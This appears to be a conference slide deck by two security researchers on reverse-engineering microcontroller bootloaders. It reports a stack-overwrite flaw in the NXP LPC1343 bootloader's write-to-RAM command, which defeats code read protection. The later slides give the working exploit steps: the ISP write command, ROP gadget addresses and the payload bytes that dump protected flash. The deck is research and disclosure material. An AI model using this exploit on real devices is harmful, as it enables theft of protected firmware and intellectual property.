About Us

Qais Temeiza
Security Researcher
Independent
@qaistemeiza

David Oswald
Associate Professor
University of Birmingham, UK
@sublevado
Introduction

• Attackers have physical access to IoT/Embedded devices
• Companies put locks in the devices called Code Protection
• The ROM bootloader is responsible for checking if code protection is enabled
• We analyzed the bootloaders of three widely used microcontrollers: STM8, STM32, and LPC1343
• We found a critical vulnerability in the LPC1343 bootloader
• No appropriate checks for the code protection
• To the best of our knowledge, the STM8 and STM32 bootloaders are secure against logical attacks
How Do Embedded Bootloaders Work?

1. Reset
   - Initialize Bootloader
   - CRP Enabled?
     - Yes: Restrict Access/No Read CMD
     - No: Enter Comm. Mode?
       - Yes: CMD Received?
         - No: Run User Code
         - Yes: Execute CMD
       - No: Run User Code
Dumping the Bootloader

```c
unsigned char *Addr;
for(Addr=(unsigned char *)0x1FFF0000;Addr<=(unsigned char *)0x1FFFFFFF;Addr++)
{
    printf("%02X",*Addr);
}
```
Results for STM-8

- **Blocks communication** with the bootloader when code protection is enabled
- Loads the option byte from its region (0x004800)
- Checks if the loaded value equals to 0xAA

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Opcode 1</th>
<th>Opcode 2</th>
<th>Opcode 3</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00601f</td>
<td>ld A, $4800</td>
<td>c6</td>
<td>48</td>
<td>00</td>
<td>Option Byte Loading</td>
</tr>
<tr>
<td>0x006022</td>
<td>cp A, #$aa</td>
<td>a1</td>
<td>aa</td>
<td></td>
<td>Option Byte Comparison</td>
</tr>
<tr>
<td>0x006024</td>
<td>jreq $2d</td>
<td>27</td>
<td>07</td>
<td></td>
<td>Invoke Bootloader</td>
</tr>
<tr>
<td>0x006026</td>
<td>call $6454</td>
<td>cd</td>
<td>64</td>
<td>54</td>
<td>Run User Code</td>
</tr>
<tr>
<td>0x006029</td>
<td>jpf $8000</td>
<td>ac</td>
<td>00</td>
<td>80</td>
<td></td>
</tr>
</tbody>
</table>
• A global code protection checking function that is called at the beginning of every command function
• **Does not allow writing in memory** even with the lowest code protection (RDP) level
• User code can access specific areas in RAM

```assembly
; BEGINNING OF PROCEDURE

Write_CMD:
push.w \{r4, r5, r6, r7, r8, lr\} ; CODE XREF=USART_Bootloader+232
bl RDP Funktion ; RDP Function
cbnz r0, Stop_Command
```
- Chris Gerlinsky (@akacastor) did research on the LPC1343
- He managed to break CRP1 via a glitching attack
- He found that CRP checks are done using the loaded CRP value in RAM at address 0x10000184

<table>
<thead>
<tr>
<th>CRP_Check:</th>
<th>RAM Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1fff0a64</td>
<td>ldr r0, =0x10000184</td>
</tr>
<tr>
<td>0x1fff0a66</td>
<td>ldr r1, =CRP_1</td>
</tr>
<tr>
<td>0x1fff0a68</td>
<td>ldr r0, [r0]</td>
</tr>
<tr>
<td>0x1fff0a6a</td>
<td>ldr r1, [r1]</td>
</tr>
<tr>
<td>0x1fff0a6c</td>
<td>cmp r0, r1</td>
</tr>
<tr>
<td>0x1fff0a6e</td>
<td>bne loc_1fff0a8e</td>
</tr>
</tbody>
</table>
## LPC1343 Code Read Protection

<table>
<thead>
<tr>
<th>ISP command</th>
<th>CRP1</th>
<th>CRP2</th>
<th>CRP3 (no entry in ISP mode allowed)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unlock</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td>Set Baud Rate</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td>Echo</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td><strong>Write to RAM</strong></td>
<td>yes; above 0x1000 0300 only</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>Read Memory</td>
<td>no</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>Prepare sector(s) for write operation</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td>Copy RAM to flash</td>
<td>yes; not to sector 0</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>Go</td>
<td>no</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>Erase sector(s)</td>
<td>yes; sector 0 can only be erased when all sectors are erased.</td>
<td>yes; all sectors only</td>
<td>n/a</td>
</tr>
<tr>
<td>Blank check sector(s)</td>
<td>no</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>Read Part ID</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td>Read Boot code version</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
<tr>
<td>Compare</td>
<td>no</td>
<td>no</td>
<td>n/a</td>
</tr>
<tr>
<td>ReadUID</td>
<td>yes</td>
<td>yes</td>
<td>n/a</td>
</tr>
</tbody>
</table>
• Critical vulnerability in the LPC1343 write to RAM command, which lead to break the code protection
• Checks that write does not write to bootloader RAM
• But no check if the write address is in the stack area!
LPC1343 Stack

0x1000 0000
Flash Programming CMDs

0x1000 0300
Stack Area

0x1000 0000
The rest of the RAM

0x1000 2000
CRP
LPC1343 Command Handler

**Command Allowed:**
```
bl     someISPCommandsConfig ; someISPCommandsConfig, CODE XREF=ISP_command_handler+1
b      loc_1fff0fc4
```

**Command Blocked:**
```
movs   r2, #0xf        ; argument #3, CODE XREF=ISP_command_handler+126
movs   r0, #0x13       ; argument #1
ldr    r1, [r5, #0x4] ; argument #2
bl     sub_1fff1d6c+42
bl     serial_tx_str_ (send a string with CR/LF at the end) ; serial_tx_str_ (send a string
b      loc_1fff0fc4
```
Write to RAM Address Checking

CRP_Check:
```assembly
ldr  r0, =0x4003c000 ; dword_1fff0f8c, CODE XREF=ISP_W(write)_Command+22, ISP_W(writ
ldr  r2, [r0]
movs r1, #0x40
orr  r2, r1
str  r2, [r0]
ldr  r2, =0x10000184 ; dword_1fff0f90
ldr  r3, =CRP_1     ; CRP_1,dword_1fff0f94
ldr  r2, [r2]
ldr  r3, [r3]      ; CRP_1
cmp  r2, r3
Jump_if_CRP_Off:
```
```assembly
bne  loc_1fff0da6
```

Address_checking(Writing_below_0x10000300_not_allowed(if_CRP_enabled):
```assembly
```
```assembly
```
```assembly
Jump_if_Address_Above_0x10000300:
```
```assembly
bhs  loc_1fff0da6
```
LPC1343 No Stack Area Protection

```
For_loop_to_read_the_input_string:
  mov   r2, sp   ; argument #3 for method sub_1fff1c86, CODE XREF=ISP_W(write)_Command+252
  movs  r1, #0x46 ; argument #2 for method sub_1fff1c86
  ldr   r0, =0x100001b4 ; argument #1 for method sub_1fff1c86, dword_1fff0f88
  bl    sub_1fff1c86 ; sub_1fff1c86
  cmp   r0, #0x0
  bne   loc_1fff0e48

  ldr   r0, [sp, #0x28 + var_28]
  cmp   r0, #0x0
  beq   loc_1fff0df6

  adds  r5, r5, #0x1
  add   r2, sp, #0x4
  ldr   r0, =0x100001b4 ; argument #1 for method Write_to_memory, dword_1fff0f88
  ldr   r1, [sp, #0x28 + var_18]
  bl    Write_to_memory ; Write_to_memory
  adds  r4, r0, r4
  ldr   r1, [sp, #0x28 + var_18]
```
We kept overwriting addresses until we found the return address which is \( 0x10001F54 \)

**How?**

We tried to branch the code to a function that will just print some string as a POC
Exploitation with CRP

Call the Write command

Overwrite the return address with an address inside the read CMD function

Use a ROP gadget to prevent the device from crashing

Jump to the command handler and then repeat the exploit
Exploitation with CRP

Write CMD( )
- `0x1fff0e48 add sp, #0x14`
- `0x1fff0e4a pop {r4, r5, r6, r7, pc}`

Read CMD( )
- `0x1fff0cfa str r0, [sp, #0x20 + var_1C]`
- `0x1fff0d48 pop {r1, r2, r3, r4, r5, r6, r7, pc}`

Gadget
- `0x1fff117e pop {r4, pc}`

Some ISP( )
- `0x1fff0e80 pop {r3, r4, r5, r6, r7, pc}`

CMD Handler
- `0x1fff1060 Command_Handler_Jump: b CMD_Handler`
Exploitation with CRP

CMD Handler Jump(0x1FFF1061)
W 268443476 172 <- this sets the write address to 0x10001F54

then UUEncode and send to read from e.g. 0x000002FC:

```
FB 0C FF 1F FF FF FF FF FF FF FF FF FF
FC 02 00 00 BB 10 FF 1F BB 10 FF 1F
BB 10 FF 1F BB 10 FF 1F 7F 11 FF 1F
00 00 00 00 81 0E FF 1F
```
LOOK AT ME!

I'M THE RETURN ADDRESS NOW
Summary

• We disclosed our findings to NXP -> documentation update
• Bootloaders are fun and “easy” to reverse-engineer
• Logical vulnerabilities are present in widely used devices
• Off-the-shelf MCUs can be broken with low-cost methods (for LPC1343 only a $5 serial-to-USB cable)
• Full exploit and other codes can be found here: https://github.com/qais744/LPC-ROP
Thanks!

Questions?

Qais Temeiza (@qaistemeiza)
qaiskhaled744@gmail.com

David Oswald (@sublevado)
d.f.oswald@bham.ac.uk